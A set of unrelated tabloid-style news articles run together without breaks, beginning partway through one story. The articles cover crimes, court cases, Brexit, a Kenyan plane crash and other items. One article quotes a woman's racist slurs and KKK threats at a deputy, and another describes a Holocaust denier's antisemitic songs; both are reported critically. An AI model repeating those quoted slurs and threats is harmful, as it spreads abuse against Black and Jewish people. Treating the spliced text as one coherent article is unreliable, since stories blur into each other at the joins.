Cotier, 22, of no fixed address, admitted charges of attempted robbery and possession of an imitation firearm with intent.

He is due to be sentenced at Chelmsford Crown Court tomorrow.

Mr Dunkin said he hopes to attend court, look his attacker in the eye.

He has written a profoundly moving statement which describes how the raid made him feel and calls upon Cotier to turn his life around.

He plans to read it out in the courtroom during the sentencing.

It states: 'I assume you will have time to reflect on your action that night.

'Try to imagine sitting with your wife, your mother, or even your daughter in years to come watching the CCTV of that night. Imagine how you would explain to them why you did this.

'Imagine watching CCTV of your mother being robbed at gunpoint, how would that make you feel? Then imagine how my daughter feels watching you hold a gun one inch from my face.

'It is the measure of a person not how they handle success, but how they handle adversity.

'You are by no means the only one to have a problem childhood, the trick is to not let it ruin your adult life.'A heroin addict faces a lengthy jail term for killing a 100-year-old widow who had survived a Nazi death camp in the Second World War.

Artur Waszkiewicz, 40, grabbed pensioner Zofija Kaczan from behind and stole her handbag as she walked to a church service in Normanton, Derby on May 28 last year.

She suffered multiple injuries as a result, including a broken neck and fractured cheekbone. Her condition later deteriorated and she died from pneumonia last June.

Astonishingly, committed Christian Ms Kaczan had prayed for her attacker as she lay on deathbed, friends have said.

100-year-old Zofija Kaczan was attacked in the street in Derby last year and died in hospital

Artur Waszkiewicz was today convicted of both manslaughter and robbery. He showed no emotion today as the verdicts were read out. He is pictured, right, making his escape

Ms Kaczan, who survived a Nazi death camp, suffered a broken neck and fractured cheekbone

It took a jury just over two hours to convict Waszkiewicz of both manslaughter and robbery today. He showed no emotion and looked straight ahead as the verdicts were delivered.

Judge Nicholas Dean QC adjourned sentence until Thursday morning at the same court.

Addressing the jury, the judge said: 'The sentence will inevitably be one of lengthy imprisonment. Mr Waszkiewicz knows that.'

Waszkiewicz was caught on CCTV driving a Seat Leon car he bought from his father minutes before robbing Ms Kaczan - slowing down as soon as he saw a 'small, vulnerable' woman on her own.

He needed an 'easy target' to steal from so he could meet a drug dealer a short time later to buy 20 of heroin.

The force he used ripped the handle off the handbag, inflicting significant bruising on Ms Kaczan's arm.

CCTV showed Ms Kaczan leaving her home minutes before she was brutally attacked

She walked down the street on her way to church, while Waszkiewicz looked for a victim

She crossed the street where she was attacked as Waszkiewicz pulled up behind her

Police found that the attack itself was only visible in a reflection on a window of a nearby house

Opening the case, prosecutor Kate Brunner QC said: 'She was attacked, she was thrown to the ground and her handbag was snatched from her.

'She was small, on her own, vulnerable - an easy target for a man desperate for money.

'He attacked Ms Kaczan, yanking her handbag from her and leaving her injured in the road and driving off.'

Police arrested Waszkiewicz, who was also born in Poland, after his fingerprint was recovered from a receipt in the bag.

He fled the city and hid under a bed at his mother's house in London to try to avoid arrest.

He drastically altered his appearance by cutting his long hair and changed the insurance details on his car.

Mrs Kaczan (pictured in her youth), a devout Catholic, had celebrated her 100th birthday with friends at her home just weeks before the mugging

Empress Road in Normanton, where Ms Kaczan was attacked on the morning in May last year

Ms Kaczan was on her way to a service at St Maksymilian Kolbe Church in Normanton

The jury heard he was so desperate for cash that he had tried to sell his dog, and asked neighbour John Shinners for money.

The trial was told the 40-year-old had a number of previous convictions including shoplifting, creating false identification documents and one offence of battery.

He denied both charges, saying he had found the green handbag in the middle of the road, picked it up, and disposed of it at a well-known fly-tipping area because there was no cash.

Mrs Kaczan, a devout Catholic, had celebrated her 100th birthday with friends at her home just weeks before the mugging.

She had moved to Britain from Poland after the Second World War with her husband Micoli who worked for Rolls Royce in Derby before his death around 10 years ago. The couple had no children.

Waszkiewicz was caught after a Seat Leon car her had bought for 300 was captured on CCTV at the scen

A statement issued outside court on behalf of the polish community from St Marksmilian Kolbe said: 'We would like t thank all the people who have been involved in bringing the perpetrator of the crime against Sofoija Kaczan to justice. It has been difficult for the community.'

Waszkiewicz, of Shepherd's Bush, west London, will be sentenced at the same court on Thursday.The United Cabbies Group Ltd has claimed Chief Magistrate Emma Arbuthnot (pictured) was 'tainted by actual or apparent bias' when she granted a temporary operating licence to Uber in June

Black cab drivers are challenging Uber's temporary operating licence in London, claiming the judge that granted it was 'biased'.

The United Cabbies Group Ltd (UCG), which represents Hackney Carriage Drivers in the capital, has made the complaint against Chief Magistrate Emma Arbuthnot.

It claims the judge, who granted Uber a 15-month permit in June, was 'tainted by actual or apparent bias' when she granted the licence - due to her being married to Lord Arbuthnot who is alleged to have financial connections to the taxi firm.

The licence had been granted on a 'probationary' basis at Westminster Magistrates' Court in June last year after Transport for London (TfL) refused to renew it amid safety concerns.

But the judge said in August she would not hear any further cases involving the taxi-hailing app after a newspaper article alleged there were financial connections between her husband, Lord Arbuthnot, and Uber.

At a hearing in London on Wednesday, lawyers for UCG acknowledged the judge was unaware of any such links but said she should have 'checked for any potential conflicts of interest' before making her decision on Uber's licence.

They also argued that the decision was not open to her because Uber did not meet the 'fit and proper person' criteria necessary for holding a licence.

Uber's application for a five-year licence was rejected by TfL in September 2017. But it currently has a temporary operating license in London

Robert Griffiths QC, for UCG, told Lord Chief Justice Lord Burnett and Mr Justice Supperstone that it was 'significant' the judge did not say she was 'satisfied' the taxi firm met the criteria.

He added: 'In our submission, what the learned Judge has done is to grant a temporary licence to (Uber) on the basis that it may become a fit and proper person.'

Lawyers for Uber said the alleged connection between Lord Arbuthnot and Uber was 'at best extremely tenuous' and the judge was unaware of it.

They also argued the judge applied the correct test and did make a finding the firm was fit and proper to hold the licence.

Philip Kolvin QC said: 'The court will have noted that the issue of Uber's fitness received the most exhaustive consideration both by its regulator, TfL and by the judge.

Following allegations that her husband Lord Arbuthnot (pictured) had financial connections to the taxi firm, Chief Magistrate Arbuthnot announced she would not sit in future cases involving the firm

'The attack on the judge's impartiality and decision-making by non-parties to the appeal, who also happen to be trade competitors of Uber, is without substance and should be rejected.'

Uber's application for a five-year licence was rejected by TfL in September 2017.

TfL had a number of concerns with the firm, including failure to report criminal allegations to the police and the use of technology to thwart regulators outside the UK.

Chief Magistrate Arbuthnot issued the shorter licence with stringent conditions after concluding the firm had made 'rapid and very recent' changes.

In her ruling she was critical of the firm, saying its failure to inform police of criminal allegations 'lacked common sense' and that it had painted a 'false picture' of its processes.

Following the article in the Observer newspaper in August, she assigned a licensing appeal by Uber which she was due to hear in Brighton to another judge and said she would not sit in future cases involving the firm.

In a statement issued at the time, a spokesman for the judiciary said: 'Chief Magistrate Arbuthnot did not know the Qatar Investment Authority for which her husband had acted as an adviser was a shareholder in Uber or had any links with Uber.

'Lord Arbuthnot was not aware that the Qatar Investment Authority was a shareholder in Uber or that it had any links to Uber.

'This is the first time that such a connection has been brought to the Chief Magistrate's attention.'

The spokesman added: 'It is essential that judges not only are, but are seen to be, absolutely impartial.'

Chief Magistrate Emma Arbuthnot granted a 15-month `probationary licence at Westminster Magistrates Court (pictured). But will now not hear future cases involving the firm

Lord Burnett and Mr Justice Supperstone are also hearing submissions from TfL and the Licensed Taxi Drivers' Association, who previously made representations to Chief Magistrate Arbuthnot.

The judges will give their ruling in the case, against Westminster Magistrates' Court, at a later date.

In a statement after the hearing, an Uber spokeswoman said: 'We've made lasting changes to our business over the last year and a half.

'We've introduced new safety features in the app for riders and better protections for drivers.

'Since the court ruling in June we have launched emergency assistance so riders can connect directly with the emergency services through the app.

'This is one of a series of improvements we're making for both passengers and drivers, and we continue to listen, learn and improve.'A Florida woman who was caught driving drunk on Thursday launched into a horrifying racist tirade at the black deputy who arrested her.

Julie Edwards, 53, was charged with resisting an officer without violence, driving under the influence and refusing to submit a DUI test, according to a charging affidavit.

Edwards was additionally charged with making a threat against a law enforcement officer after she was filmed screaming at Volusia County Sheriff's deputy Brandon King.

At approximately 11.50pm, King was dispatched to a home in DeLand where he found Edwards trying to back her black Lexus into the property.

King noted that the woman reeked of alcohol as she spoke and her words were slurred.

The deputy noticed that the woman was 'uneasy on her feet' and asked for her consent to conduct a sobriety test, which she repeatedly refused.

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Julie Edwards, 53, was charged with resisting an officer without violence, driving under the influence and refusing to submit a DUI test on Thursday

She was also charged with making a threat against a law enforcement officer after she was filmed screaming at Volusia County Sheriff's deputy Brandon King

At one point, Deputy King grabbed the woman by her arm and she purposefully fell to the ground and refused to get up. An assisting deputy, who is white, had to help King get the woman on her feet.

Edwards also refused to get in the patrol car after several verbal commands but she truly started her verbal assault once seated.

King responded to a DeLand home to find Edwards drunkenly trying to back her black Lexus into a house

'I'm going to sue the f**k out of you and you know what, I'll buy me a house because of you,' she says in dashcam footage that the department shared on Tuesday.

Edwards repeatedly refers to King as 'boy' as she rides in the back seat. The racist woman tells the deputy that she will find him on a corner.

'I won't find you, my KKK people will,' she asserts as the deputy asks her if she is threatening him, to which she responds no.

'Ain't a damn thing wrong with a burning cross in your yard,' she also retorts.

The deputy hardly engages with Edwards, listening to Migos and country music in the background.

'You f***ing with the wrong white people,' she continues. 'Hope you don't have any kids, do you know what is going to happen now. They are going to hurt you bad.

'You don't f**k with a white girl. Not like you do.'

Edwards' Facebook page indicates that she is retired and in a 'complicated' relationship

Edwards repeatedly refers to King as 'boy' as she rides in the back seat and tells him that her 'KKK friends' will burn him and his family

Edwards tells King that he will have his eyes 'poked out' before calling him a 'n****r' and the other deputy a 'white n****r.'

'KKK got your a** boy,' she says. 'Fire on your a**.'

The irate woman then claims that she will send all the 'n****rs' back and that she will burn the rest.

As the ride continues, Edwards ask: 'So do they have special incentives to hire n****rs for cops.'

Neither of the deputies respond before Edwards states that her 'KKK friends' will burn King's family.

'Have you ever been whipped on a whipping post,' she asks before adding inaudible comments about whipping.

The video comes to a close with King listening to his music and Edwards finally being quiet.

About the video, Sheriff Mike Chitwood said: 'Watch this video if you need any more proof that there's no expiration date on ignorance.'

Edwards' Facebook page indicates that she is retired and in a 'complicated' relationship. However, searches among her friends did reveal images paying homage to the Confederacy.

She is currently at the Volusia County Branch Jail with a bond of $2500.

King's social media indicates that he is married and has one child.Leslie Austin (pictured) is kidnapped his girlfriend and their 10-year-old daughter then killing a man during an attempted carjacking, before he was shot to death following a police chase Tuesday through Missouri and Illinois

A man accused of kidnapping his girlfriend and their 10-year-old daughter then killing a man during an attempted carjacking was shot to death following a police chase through Missouri and Illinois, authorities said Wednesday.

The chase began Tuesday evening in Jefferson City, Missouri, and ended about three hours later in Greenville, Illinois, after sheriff's deputies used stop sticks to deflate the tires on Leslie Austin's SUV, allowing the girlfriend and child to escape.

Authorities said Austin, 39, fired multiple shots during and after the chase, but do not yet know if he shot himself or was shot and killed by law enforcement.

Austin's 33-year-old girlfriend, Danielle Smith, was shot and wounded several times, and has been hospitalized in critical condition, Illinois State Police said in a news release.

The daughter wasn't hurt.

Jefferson City police Lt. David Williams said the girlfriend had a restraining order against Austin.

Little information has been released about the circumstances of the abduction.

Officers responding to reports of gunfire in a Jefferson City parking lot around 7:40 p.m. found spent shell casings and broken glass, Williams said.

Witnesses who called 911 said they saw the SUV speeding away after the shots were fired.

Not knowing of the abduction, a Missouri State Highway Patrol trooper in Union, about 75 miles away, attempted to stop Austin for a registration violation around 9 p.m., Patrol Cpl. Justin Wheatley said.

The deadly police chase Tuesday began in Missouri and ended three hours later in Illinois

Authorities pursued Austin until he drove across a bridge into Illinois, where Illinois State Police Troopers took up the chase

Austin took off and blew through several stop lights. The patrol called off the pursuit, Wheatley said.

A Franklin County sheriff's deputy reinitiated the pursuit after learning the vehicle was wanted, Wheatley said.

Patrol troopers caught up with Austin again about 25 miles away on Interstate 44 in the western St. Louis suburb of Eureka.

They pursued him until he drove across a bridge into Illinois, where Illinois State Police Troopers took up the chase, Wheatley said.

Austin then tried to carjack a vehicle from Gregory Price, (above) shooting and killing the 67-year-old man from Florissant, Missouri

At around 10:30 p.m., Bond County sheriff's deputies deployed the stop sticks on Illinois 140 near Greenville, and the girlfriend and child were able to escape the slowing SUV, Illinois State Police said in a news release.

Austin then tried to carjack a vehicle from Gregory Price, shooting and killing the 67-year-old man from Florissant, Missouri.

Austin apparently decided against taking Price's car and failed in an attempt to carjack a second vehicle, choosing instead to continue on in his damaged SUV, state police said.

He eventually stopped the vehicle and was shot and killed in a shootout, although police said it was unclear if he was shot by an officer or the gunshot was self-inflicted.

Austin had convictions in Missouri for misdemeanor theft, domestic assault, tampering with a motor vehicle and resisting arrest.Alison Chabloz, 53, arrives at Southwark Crown Court in London today where she lost her appeal against the UK's first ever conviction for Holocaust denial on social media.

An anti-Semitic songwriter who compared Auschwitz to a 'theme park' and mocked the murder of Anne Frank in 'disgusting' songs shared on YouTube today lost an appeal against her conviction.

Alison Chabloz, 53, who arrived at Southwark Crown Court wearing a 'white pride' badge with links to neo-Nazi groups and the Ku Klux Klan, had her case thrown out by a judge.

Chabloz had caused disgust by making music videos with lyrics that claim the Jewish community have exaggerated or made-up claims about the Holocaust.

She also mocked Anne Frank and laughed during her trial last year as the court heard how she mocked Jews being fashioned into lampshades, having their heads shrunk and being turned into bars of soap.

She was convicted of three charges of sending by a public communications network an offensive, indecent or menacing message or material last May.

District judge John Zani had said he was satisfied the material was grossly offensive and that Chabloz had intended to insult Jewish people and was not an attack on free speech.

And today Judge Christopher Hehir upheld the conviction for producing three songs 'grossly offensive to Jews'.

He told the court that although anti-Semitism and holocaust denial are not criminal offences, Chabloz's attitude to the Holocaust is 'highly relevant to her state of mind'.

Anti-Semite Chabloz chose to wear a white supremacist 'White Pride' badge to court today

He said: 'Our factual conclusion, formed with the particular benefit of hearing her give evidence, can be more plainly expressed: she is a Holocaust denier.

'While not a historian Ms Chabloz clearly has an extensive, albeit highly selective interest in history.

'During her evidence, she made rapid-fire reference to a bewildering array of sources, although it was striking how dismissive she was of anything that might contradict the narrative to which she subscribes.

'She is manifestly anti-Semitic and utterly obsessed with what she perceives to be the wrongdoing of Jews and their disproportionate influence in politics, the media and banking in particular.

'In relation to questions involving the Holocaust in particular and Jews more generally she appears to us quite simply to have lost all sense of perspective.

'[The songs] weave together Holocaust denial and hateful attacks on Jewish people generally, by reference to well-known anti-Semitic tropes.'

Gideon Falter, Chairman of Campaign Against Antisemitism, said: 'Alison Chabloz is a remorseless and repulsive antiSemite who has spent years obsessively inciting others to hate Jews, principally by claiming that the Holocaust was a hoax perpetrated by Jews to defraud the world. Other antiSemites who believe that they can abuse the Jewish community online with impunity should take note.'

Chabloz, pictured performing the anti-Semitic quenelle gesture, as she performs one of her songs online

Judge Christopher Hehir upheld each of the three convictions relating to the three songs.

Two of the songs were performed at a central London hotel for the infamous right-wing group The London Forum. Chabloz was said to have linked the two songs to her blog.

Convicted blogger wrote in support of Ken Livingstone online Ken Livingstone came under fire after he claimed Hitler 'was a Zionist' Alison Chabloz used her website to defend Ken Livingstone, who resigned from the Labour Party last year in the wake of his comments about Hitler and Zionism. She called concerns about anti-Semitism in the Labour party a 'plot to smear Jeremy Corbyn'. In one article, she wrote: 'Last week, British veteran politician and former Labour Mayor of London, Ken Livingstone, was set up and harangued by arch-Zionist colleague - the despicable John Mann MP - concerning the Labour party's suspension a day or two earlier of novice MP for Bradford West, Naz Shah. 'In fact, Zionists had been trawling Shah's Facebook posts of the past two years and had found an ancient post where she suggests Israeli Jews should be relocated to the United States. 'Of course, all this is part of a bigger plot on the part of Zionists - both Labour and Tory - to discredit and smear the Labour leader and veteran left-winger, Jeremy Corbyn. More on that later.' Later on in the post dated from May 2016 she posted comments claiming there was 'no proof' of many Nazi actions against Jews in World War Two. Advertisement

The other was posted to Youtube by Chabloz herself, it was said.

Judge Hehir ruled that the first song entitled '(((Survivors)))' was 'grossly offensive' and made 'tasteless references' to holocaust victims and survivors.

The second song, 'Nemo's Anti-Semitic Universe' was said by Chabloz to relate to an ongoing dispute online with a troll called Nemo.

Judge Hehir again said the song was 'grossly offensive' and 'incorporates tropes about the supposed Jewish love of money'.

The song is also said to describe Auschwitz death camp as a 'holy temple' and a 'theme park' which the judge said was a 'particularly sickening use of words'.

The third conviction, relating to a song posted by Chabloz herself on Youtube called 'I prefer it this way - SATIRE' was similarly ruled by the judge as 'grossly offensive'.

He said: 'It blames Jews for their sufferings, and brands them as thieves, liars and usurers. That is woven into sickening holocaust-related references'.

Chabloz was sentenced to 20 weeks imprisonment suspended for two years and banned from social media for a year.

She had previously supported former Labour party member Ken Livingtone, who quit the party last month following a row over his comments about Hitler.

It emerged that messages she had written online since her conviction had led to her followers posting abusive comments about Judaism and death threats to the trial judge, John Zani.

Westminster Magistrates' Court has previously heard how Chabloz described Auschwitz as 'a theme park for fools' in one of her songs entitled (((survivors))).

The blogger, who describes herself as a revisionist, denied sending offensive material.

She claimed that the prosecution brought against her is an attack on her freedom of speech, although she admitted to police that her songs were 'close to the bone'.

But despite her claims, she was convicted of three charges last year.

How Holocaust denier and ex-cruise ship entertainer was abandoned by her family and kicked out of home she shared with her elderly parents after mocking Anne Frank in YouTube song

Alizon Chabloz a controversial blogger who said the gassing of millions of Jews was a hoax, was kicked out of the home she shared with her elderly parents last May and hasn't spoken to her daughter for three years.

On May 25th 2018 she was convicted at Westminster Magistrates' Court of three charges relating to her songs when judge John Zani said he was satisfied Chabloz intended to insult Jewish people.

Chabloz beamed when she arrived at court and her supporters cried 'shame' from the public gallery during the hearing in London last year.

However, behind her bravado, the YouTube blogger who claimed the Holocaust was a hoax, has a bleak personal life.

Alison Chabloz (pictured above) was kicked out of the home she shared with her elderly parents

She had been jobless since 2014 when she was ordered off a cruise ship where she worked - and was forced to move into the home of her parents, Leslie and Audrey Tyrer, in Charlesworth, Derbyshire.

Following her sentencing last year Mr Tyrer, 78, a retired insurance broker, told MailOnline that he had kicked her out several months ago.

'I have no contact with her,' he said. 'The last thing I want in life is my 50-odd-year-old daughter getting in contact with me. She used to live here at the family home but doesn't now.'

Her daughter Carmel, 26, a ski instructor, who lives with her father above his small flooring business in the pretty mountain village of Chateau D'Oex, hasn't spoken to her mother for three years.

Chabloz, who was born in Manchester, has been abandoned by her family over her holocaust denial. She was also kicked out of a band she played in called Pig In The Middle (pictured). Bandmate Ralph Smethurs (right) described her as 'highly manipulative and controlling'

'I'm not in contact with my mother at the moment and I don't know anything she's doing,' she said.

Carmel's father Pierre, who was married to Chabloz for 22 years, has 'cut all connection' to her, as has his brother Christophe Chabloz, according to Christophe's ex-wife, Isabelle.

'We have no contact with her at all, nothing and we don't even know where she is,' said Isabelle, who lives in nearby Echallens.

Chabloz, who went to school at Bredbury Comprehensive, in Stockport, was sacked by the German cruise company Aida when an activist complained about her anti-Semitism and was left stranded in Germany when she was unable to board the ship.

Chabloz was banned from the Glossop Labour social club (pictured) where she used to perform at pro-Palestinian events

A former acquaintance Fiyaz Mughal, founder of anti-Islamophobia charity Tell MAMA, initially stood by her and offered her money to get home.

But he told MailOnline it was a mistake: 'We felt used and it was a wake up call for us that anti-Semites were trying to use us.'

In 2016, Chabloz was expelled from her folk band, Pig In The Middle, because of her 'obsessive anti-Jewish fixation'.

Ralph Smethurs, one of her two former bandmates, said that he 'wouldn't touch her with a bargepole'.

'She is highly manipulative and controlling, and she has daft views,' he said.

'She said she seriously suspected the earth was flat. We tried to turn a deaf ear but we couldn't ignore it. She's crackers. It's a shame because we had a good sound.'

The same year she was barred from the Edinburgh Fringe comedy festival after being pictured performing the anti-Semitic quenelle gesture, a reversed Nazi salute.

She was also barred from her local Labour social club where she used to perform at pro-Palestinian events.

A letter from the Glossop Labour Club to Alison Chabloz banning her from the premises. In it they said: 'We feel that some of your specific posts and the general tenor of what you are communicating has become anti-Semitic.'

In a letter, they told her: 'We feel that some of your specific posts and the general tenor of what you are communicating has become anti-Semitic.'

Gwyneth Francis, the club secretary, added: 'We had absolutely no idea about her racist views and if we had we would never have been associated with her.'

Chabloz, who studied at University of Liverpool before moving to music college in Geneva where she met Pierre, describes herself as a 'white nationalist' on her blog.

Alison Chabloz, third from left, poses with former bandmates at a pro-Palestinian concert at the Glossop Labour Club. She has since been thrown out of both band and club

She previously claimed she was being victimised because of her talents as part of an effort to cut down the 'tall poppies' and 'spoil the chances of a nationalist revival'.

In a show of defiance, during her trial Chabloz even travelled to France to perform at the IV Forum De l'Europe, a far-Right nationalist convention.

She also attended a march by the Parti Nationaliste Francais, an extreme French far-Right party, where she posed with a statue of Joan of Arc.

In April last year she appeared on an underground anti-Semitic internet radio programme when she said: 'There is something in Jewish behaviour which leads to them being hated... in fact it's the Jews who've never learnt.'

And last year she performed at the London Forum, a 'white supremacist' event where the notorious Holocaust denier David Irving gave a rambling speech and Chabloz again performed the quenelle salute.(ANSA) - Rome, February 13 - Bank of Italy Governor Ignazio Visco said Wednesday he thought the central bank was independent, saying "I do not see what the attack on its autonomy is" after Deputy Premiers Luigi Di Maio and Matteo Salvini said the top brass should be removed for failing to avert bank crises.

"There is a sometimes uncertain vision on responsibility and there are those who say there cannot be independence and responsibility, you have to take that into account".

He cited former central bank governor, premier and president Carlo Azegio Ciampi who he quoted as saying "we are in any case autonomous because what counts is the autonomy of judgement".

A federal appeals court has rejected a familys First Amendment challenge to a Maryland school districts lessons on the Islamic faith as part of a high school world history course.

The family argues that the unit on the Muslim World endorsed and advanced Islam in violation of the First Amendments bar against government establishment of religion. The parents also argued that the school district violated their daughters free-speech rights by requiring her to complete a fill-in-the-blank assignment about the so-called Five Pillars of Islam.

John and Melissa Wood, and their daughter Caleigh Wood, are represented by the Thomas More Law Center , an Ann Arbor, Mich.-based legal organization that has brought a number of similar challenges to lessons on Islam and Muslim history in public school districts.

The lawsuit alleges that the Charles County school district in Maryland and various officials concealed that their high school World History class promoted Islam and that the parents and student were harshly punished for voicing concerns about the desecration of their Christian beliefs and heritage and the promotion of the Islamic faith in the class.

Wood took the required World History class as an 11th grader at La Plata High School in La Plata, Md., during the 2014-15 school year, court papers say. The unit entitled the Muslim World was five days of a yearlong course that covered the Renaissance and Reformation, the Enlightenment period, the Industrial Revolution, and World Wars I and II.

One element that the Woods strongly objected to was a PowerPoint presentation by the teacher comparing peaceful Islam with radical fundamental Islam, which contained the statement that Most Muslims [sic] faith is stronger than the average Christian.

The family also objected to a worksheet in which students had to fill in blanks of certain statements, including one that said, There is no god but Allah and Muhammad is the messenger of Allah. That comes from a Muslim declaration known as the shahada. For that worksheet, students had to fill in the first Allah and the word messenger.

School officials declined to excuse Wood from the unit, and John Wood directed his daughter not to complete the assignment, which resulted in lower percentage grade for the course, but did not affect her letter grade.

The Woods sued under the First Amendment, and lost in a federal district court. In its Feb. 11 decision in Wood v. Arnold , a three-judge panel of the U.S. Court of Appeals for the 4th Circuit, based in Richmond, Va., also ruled for the Charles County district and its officials.

The appeals court said it was important to view the lessons in the Muslim world in context, because focusing on isolated statements would turn the courts into a defacto curriculum review committee.

The court said the comparative faith statement (from the PowerPoint slide suggesting that Muslims faith was stronger than Christians) was not offered to advance Islam over Christianity. The court noted that a content specialist in the school district later testified that the slide was inappropriate, and he would have advised the teacher not to use it.

Meanwhile, the shahada worksheet was meant to assess students understanding of the lesson, not to advance the Islamic faith, the court said.

The use of both the comparative faith statement and the shahada assignment in Woods world history class involved no more than having the class read, discuss, and think about Islam, the 4th Circuit court said. These types of educational materials, which identify the views of a particular religion, do not amount to an endorsement of religion.

The court also rejected Woods free-speech challenge, saying that public school students often must be compelled to speak as part of classroom assignments.

Although a students right against compelled speech in a public school may be asserted under various circumstances, that right has limited application in a classroom setting in which a student is asked to study and discuss materials with which she disagrees, the court said.Belgium's PM Charles Michel (pictured yesterday in Brugge) said a no deal Brexit in March would at least offer the EU clarity on the way forward with just 44 days to go.

Belgium's Prime Minister admitted today that a no deal Brexit would be better than one on bad terms - but insisted the current deal is a good one.

Charles Michel said a no deal Brexit in March would at least offer the EU clarity on the way forward with just 44 days to go.

But he warned hard Brexiteers in Parliament 'a good deal is on the table' and the attempts to frustrate the plan would boost the prospects of a 'bad deal'.

Mr Michel insisted the backstop for the Irish border opposed by many Tory MPs was a crucial reason why the current deal was a good one. He said it guarantees peace in Ireland while boosting the economy.

Theresa May is scrambling to get the provision, which effectively keeps the UK in the EU customs union if there is no final trade deal, re-written to guarantee it is temporary.

MPs will vote again on the state of play on Brexit tomorrow with the PM asking for another two weeks to try and seal a new deal.

Mr Michel said today: 'Clarity requires me to say that between a ''no deal'' and a ''bad deal'', I prefer a ''no deal'', which will have the merit of clarity and responsibility.'

He added: 'The backstop is not a detail, both for guaranteeing peace in Ireland and for the integrity of the domestic market, its capacity for economic development, employment and investment.

'A good deal is on the table, but the British parliament is trying to take us toward a bad deal.

'The British parliament's demands on the backstop would weaken the economic development of Europe, a risk for our businesses and our jobs.'

Theresa May (pictured today at PMQs) is scrambling to get the provision, which effectively keeps the UK in the EU customs union if there is no final trade deal, re-written to guarantee it is temporary

It emerged today diplomats are mulling a plan for the Irish backstop to be reviewed every six months if it ever comes into force as the UK and EU scramble to find concessions.

The idea of regular reviews is designed to reassure Brexiteers the measure, intended to avoid a hard border in Ireland in all circumstances, will not last forever.

But it falls far short of demands the backstop have a time limit or allow Britain to unilaterally end it.

One diplomat told the Sun: 'This is nothing but delay tactics mostly focussed on the UK itself.

'It's all pushing it into March. March is going to be frantic, then come March 21 this is when things need to culminate.'

They said a compromise could include a commitment to review the need for the backstop every six months with 'more weight given to tech advances'.

The diplomat said: 'Then May could argue she's introduced a possibility that could curb the backstop to one or two years.'Three American tourists are among five people dead after a small plane carrying them from Kenya's Maasai Mara nature reserve crashed, police said Wednesday.

Two American men and one woman were identified among the wreck of the Cessna aircraft, along with that of the Kenyan pilot.

A fourth victim, another foreign national, had not been identified on Wednesday afternoon. Authorities did not name any of the victims.

Three American tourists and a Kenyan pilot have been confirmed dead after their plane crashed while flying out of the Maasai Mara nature reserve on Wednesday

The Cessna plane was heading from the famed Maasai Mara to Lodwar, another area popular with tourists, when it came down.

'There were five occupants in the plane and they did not survive,' said Edward Mwamburi, police chief for the Rift Valley region.

'There was a Kenyan pilot on board and four foreign nationals,' said James Mugera, commander with the Kericho police.

In June last year, a plane belonging to the FlySAX airline crashed on the edge of the Aberdares mountain range, leaving 10 people dead.

Kenya has a vibrant airline industry, with national airline Kenya Airways operating internationally and locally alongside successful low-cost airlines and charter companies.

According to the International Air Transport Association (IATA) in 2014, some 130,000 planes land and take off from Kenya each year, and the country has 35 operating airlines.

The Cessna 206 aircraft was going from Maasai Mara to the tourist hotspot of Lodwar when it came down near the town of Londiani, around 140 miles from its start point

Two American men and one woman were identified among the wreck

The IATA said Kenya's air transport infrastructure quality ranks 6th out of 37 countries surveyed in Africa.

In October 2017 five passengers were killed when a helicopter crashed into Lake Nakuru, while in 2012 a helicopter carrying internal security minister George Saitoti crashed, killing all six passengers on board.

Kenya's worst crash in recent years took place in 2007, when a Kenya Airways flight from Abidjan to Nairobi via Douala crashed into a swamp after take-off, killing all 114 passengers.

In 2000 another Kenya Airways flight from Abidjan to Nairobi crashed into the Atlantic Ocean minutes after take-off, killing 169 people while 10 survivedA 'drunk' undercover agent with the US Drug Enforcement Administration, who was stopped by Florida police after allegedly causing a car crash, was caught on video slapping an officer on the head.

During Brendan D'Arcangelo's arrest in December, video shows two officers from the Palm Beach County Sheriff's Office speaking with him following the crash.

In the video, one deputy is seen moving his flashlight from side to side as D'Arcangelo, 52, grew frustrated.

D'Arcangelo is then seen hitting the officer on the side of his head, prompting the deputy to back him against a vehicle.

'Drunk' undercover agent, Brendan D'Arcangelo (in a white shirt), of the US Drug Enforcement Administration, was stopped by Florida police in December after allegedly causing a three-car crash

During the arrest, one deputy is seen moving his flashlight from side to side as D'Arcangelo, 52, grew frustrated. D'Arcangelo is then seen thumping (pictured) the officer on the side of his head, prompting the deputy to back him against a vehicle

'You're under arrest for DUI,' PBSO deputy Patrick Zeitz is heard saying.

The officer continued: 'You're lucky I'm not charging you with something stupid like Batt-Leo.'

Batt-Leo is battery on a law enforcement officer. That charge is punishable by up to five years in prison.

'You, as somebody who does this profession, should know better,' Zeitz added.

'You're right. You're right, bro,' D'Arcangelo responds.

D'Arcangelo then apologizes to the officer. 'I'm sorry. I'm sorry,' as Zeitz grabbed him.

Zeitz and the other officer then place D'Arcangelo's hands behind his back.

'Ah, Jesus Christ,' D'Arcangelo said. 'I'm sorry, cop.'

Zeitz and the other officer then place D'Arcangelo's hands behind his back. 'Ah, Jesus Christ,' D'Arcangelo said. 'I'm sorry, cop'

The officer is seen arresting D'Arcangelo. He faces four counts of DUI with damage to property or a person. A plea conference is scheduled for April 5

D'Arcangelo was operating as an undercover agent for the DEA when he was arrested on December 2.

The agency would not say if D'Arcangelo is still employed by the DEA.

According to the Panama City News Herald, D'Arcangelo's truck crashed into two vehicles that were stopped at a red light on Jog Road in Greenacres.

No one was injured in the crash.

In an undisclosed page of the initial report that was obtained by the Palm Beach Post, Deputy Zeitz reported that D'Arcangelo had 'suddenly reached out and slapped me across the right side of my head'.

But the agent's lawyer has said that it was more of a 'touch'.

At the time D'Arcangelo refused a field-sobriety test and a breathalyzer test.

Those decision could lead to a one-year suspension of his driver's license.

D'Arcangelo faces four counts of DUI with damage to property or a person. A plea conference is scheduled for April 5.The anti-vaxxer mother of an Ohio teenager who got himself vaccinated at the age of 18 says she is proud of him for standing up for what he believes in despite him defying her wishes.

Ethan Lindenberger received his vaccinations in Norwalk, Ohio in December to immunize him against six diseases including mumps and hepatitis.

He was required to wait until he was 18 to get the shots without parental permission.

The high school senior's parents had refused to vaccinate him as a child because they believe that immunizations can contribute to disorders like autism.

Despite disagreeing with her son's decision, Lindenberger's mother Jill Wheeler, who has seven children, said she was proud of the teenager.

Ethan Lindenberger's mother Jill Wheeler (pictured above) said she is proud of her son after he got his vaccinations aged 18 despite her being an anti-vaxxer

'I'm very proud of him for standing for what he believes in, even if it is against what I believe. He's a good boy. He's a good kid,' Wheeler told CBS.

Lindenberger's story has since gone viral after he took to Reddit late last year asking for advice on how to get vaccinated because his 'parents are kind of stupid'.

'God knows how I'm still alive,' he wrote in a post that attracted more than 1,000 comments.

Wheeler said she was 'blown away' when she became aware of her son's post.

